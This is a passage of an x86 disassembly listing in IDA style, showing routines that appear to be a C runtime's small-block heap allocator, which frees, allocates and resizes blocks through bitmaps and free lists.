		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFB4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFAC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFAC
		mov	eax, dword_4DCFB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFB4
		mov	ecx, dword_4DCFAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFB4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFB4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFC4
		call	near ptr 2950000h
		nop
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFB8
		cmp	eax, dword_4DCFB4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFBC
		mov	dword_4DCFB0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFAC, edi
		mov	dword_4DCFB4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFB4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFAC
		jnz	short loc_41E4C7
		and	dword_4DCFB4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFB8
		mov	ecx, dword_4DCFA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFBC
		push	edi
		push	dword_4DCFC4
		nop
		call	near ptr 2A00000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFA8, 10h
		mov	dword_4DCFBC, eax
		mov	eax, dword_4DCFB8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFBC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFC4
		lea	esi, [ecx+eax*4]
		call	near ptr 2960000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2A606B3h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFC4
		nop
		call	near ptr 2950000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2A606B3h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


